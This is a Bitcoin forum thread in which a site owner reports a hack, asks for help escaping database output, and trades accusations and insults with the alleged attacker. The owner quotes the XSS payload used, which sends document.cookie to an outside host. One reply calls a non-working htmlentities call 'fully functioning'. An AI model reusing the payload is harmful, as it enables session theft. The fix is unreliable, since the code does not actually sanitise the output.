Bitcoin Forum

[...]
https://i.imgur.com/M2foyx2.png
[...]

Dude, it doesn't seem that you have the reputation (or trust) to back your accusations. Take a deep breath and relax. :-\

Who do I give root access to my site to back the accusations?
Seems pretty clear cut, the scammer/hacker publicly posted some stolen info (the admin panel view).

Man this is a heavy accusation. Second accusation I've seen against TF since last month.

As it goes, I need to block code from being executed and instead print the contents of the mysql block:
Fix this code:
while ($xyz = $mnop->fetch()) {
echo '<br /><strong>Message:</strong> '.$xyz['stuff'].'<br />';
      }

Pay is $100 in BTC for complete functional substition blocking code execution from the msg fetched and instead display it as plaintext, no code allowed.

END OF REQUEST, BEGIN INFO:

Scammer/Hacker wannabe attempted to divert deposits from the site, using an aparently custom address for the attempted theft:
Fortunately, he knew so little of the code, he only managed to rewrite his personal deposit address to: 1KentoeyU1VuoD4oCBsnTm3yTXksGRiWww
Account info: Created: 2013-06-01 09:01:04, accessed from: 58.111.143.105
User "foobar" : foo@bar.com
Password Hash was destroyed unfortunately in a hurried attempt to block the hacker.

People may presume the possibility that Scammer/Hacker accessed all the account info generally visible about user account.
Fortunately, none of the info required is too bad and this piece of shit might not invade the privacy of these users (lawsuits are valid against him if he does so).

UPDATE: It appears only limited, session information was stolen, could use help minimizing this damage in the future:
Code used: <script>document.write("<img src='http://bitcoin.hostoi.com/?" + document.cookie + "' style='height: 0px; width: 0px;' />");</script>

Who made the other accusation? Links will help counter troll mprep

I handle 10's of thousands of dollars for my clients as the hacked info will reveal. the link of the hack picture was posted by tradefortress.

Hey,

You asked to fix the following code:


I'm not sure I get your exact problem. Usually with SQL injection you're scared of plainly using the input of a user. This can be secured against by (where $name is the input):


Your question seems to be different though as there is no input except for what you retrieve from the database ($xyz['stuff'] ). Doe you mean the content of your database is potentially not trustworthy? If so, I'd recommend not fixing it there but on every place where user code can potentially alter the database using a mechanism such as I proposed in the above code-block.

If I misunderstood and you mean something else altogether, please clarify :)

Regards

Why are you getting hacked so much?
Social engineering or are you just coding that poorly and not debugging properly before you launch?

I handle 10's of thousands of dollars for my clients as the hacked info will reveal. the link of the hack picture was posted by tradefortress.

I PM'ed this but MPT asked to post it here instead:

The site was hacked once due to shitty programmers.
I'm not a programmer, the exploited code was written by the coder I paid who delivered his final project in April at the site launch and is refusing to give updates or help anymore with the site since he already got paid.
This might also be a reason scammer TradeFortress tried to hack and steal the site's coins:
It's more like hundreds of BTC, but same difference.

Who do I give root access to my site to back the accusations?

All you have to do is htmlentities(<data that you want to clean>);

Do that with any user-supplied input before you print it to the screen.

Edit: You can see the PHP page here: http://php.net/manual/en/function.htmlentities.php

Edit Edit:
Fully functioning code:
-Start-
while ($xyz = $mnop->fetch()) {
htmlentities($xyz);
echo '<br /><strong>Message:</strong> '.$xyz['stuff'].'<br />';
      }
-End-

Oh TradeFORtress was the one that coded your site? I didn't read that part, I thought it was someone with a copycat name.
Your an idiot, Tradefortress is a legend, your rant is random, probably fake scam report, and invalid. If your site got hacked by someone else, still your fault, it's your website.
/Thread

Anyways, you still have vulnerabilities in your code. This is why you don't do financial sites when you have no basic web security knowledge.

If I am a 'scammer', why did I report a serious vulnerability on this forum you are reading right now instead of compromising the account of anyone I want? Because I don't do that.

This problem is solved, please discontinue use/lock the thread.

You can lock your own threads.

Hai im anon and will you pay me to hak ur siet?

Thanks for advertising my pentesting skills too! ;)

I like my site the way it is: impenetrable

Lol good one.

looks like you're not the only hacker with a colorful sig trolling for work using your minimal coding skills

My thoughts exactly.

FYI, if it's on the internet, it's not safe. No exceptions.


Minimal coding skills? Granted, they're not top-of-the-line, but you're the one here with a vulnerable website..

Is that $1k bounty open to the public?

I'm replying to a CLOSED thread, I'm such a rebel.

[...] I don't owe you a single satoshi. I have never agreed to a refund for starters, so by that definition I don't owe you anything.
[...]

Lol. So much for having this thread locked.

I hereby withdraw my offer for your P/T of my site, [...]

My site received P/T's from 3 different new accounts since I withdrew the offer.
Total vulnerabilities = 0
Site has been upgraded to IMPENETRABLE status.

LOL, your site still has a security vulnerability that lets me do anything as any user (including you). Waiting for your payments.

Hey Dumbass,
 I already know you're a lying scammer, my memory isn't that bad. Go Fuck off, because we both know my site is rock-solid secure since I hardened it from when you used that simple sql exploit that my original programmer failed to account for. It's been fixed and YOU ARE IMPOTENT.
 You got in once, congrats. If you weren't lying out your assface, you could easily post some *recent* info from the admin panel, maybe a couple lines of the tests I've been running as admin since there's no sensitive info in that.
 Your fraud isn't going to work here. Fool me once, your a scamming scumbag and you're not going to fool me again.
 Even if you had admin access, you still couldn't touch the dozens of BTC being transacted daily as you pointed out earlier and your trolling is clearly the only tool you have to use against me.

Hey Dumbass,
 I already know you're a lying scammer, my memory isn't that bad. Go Fuck off, because we both know my site is rock-solid secure since I hardened it from when you used that simple sql exploit that my original programmer failed to account for. It's been fixed and YOU ARE IMPOTENT.
 You got in once, congrats. If you weren't lying out your assface, you could easily post some *recent* info from the admin panel, maybe a couple lines of the tests I've been running as admin since there's no sensitive info in that.
 Your fraud isn't going to work here. Fool me once, your a scamming scumbag and you're not going to fool me again.
 Even if you had admin access, you still couldn't touch the dozens of BTC being transacted daily as you pointed out earlier and your trolling is clearly the only tool you have to use against me.

[...] If I break into your site again, I get your 10 BTC. If I fail to do so within a week (and the site has being up), you get 27 BTC.

Also, why the fuck would I steal your coins. I don't do that.

12. I need to know your business incorporation details and/or personal info before I invest. If you don't provide this I'm going to call you a scammer and flame you in the forums or otherwise blackmail you.

No, we won't be providing any of this info or otherwise cooperating with your blackmail attempts. If you persist in attempting to blackmail us, we will respond with countermeasures.

So I can either lose 10 btc if you're right (which is less than a 1% possibility) or I can gain nothing if I'm right because it would go to charity (99%+ possibility). Even at those excellent odds it's a losing proposition.
Please STFU and stop harassing my baby with your BS claims.


Let's see, maybe because you're a thief and it's in your nature? That's why you defrauded the 27 bitcoins from me with the promise of a functional website (similar to the one I have now) [but] in reality you're incapable to code a bitcoin ecommerce website.

Maybe I didn't make it clear: I have no intention of ever doing any kind of business with you ever again.
The fact that the scumbag who scammed me out of 27 BTC is asking me to send coins to someone makes me sick.
You defrauded me out of 27 BTC, congrats, I'm not going to take any risk of legitimizing your theft.
I overlooked the fact that you illegally hacked into my site with a simple exploit, I even reduced your debt.
I also gave you the opportunity to come clean and reveal any information you have about site vulnerabilities for more debt reduction. You refused and that deal is now over so go fuck yourself you sorry scamming bastard.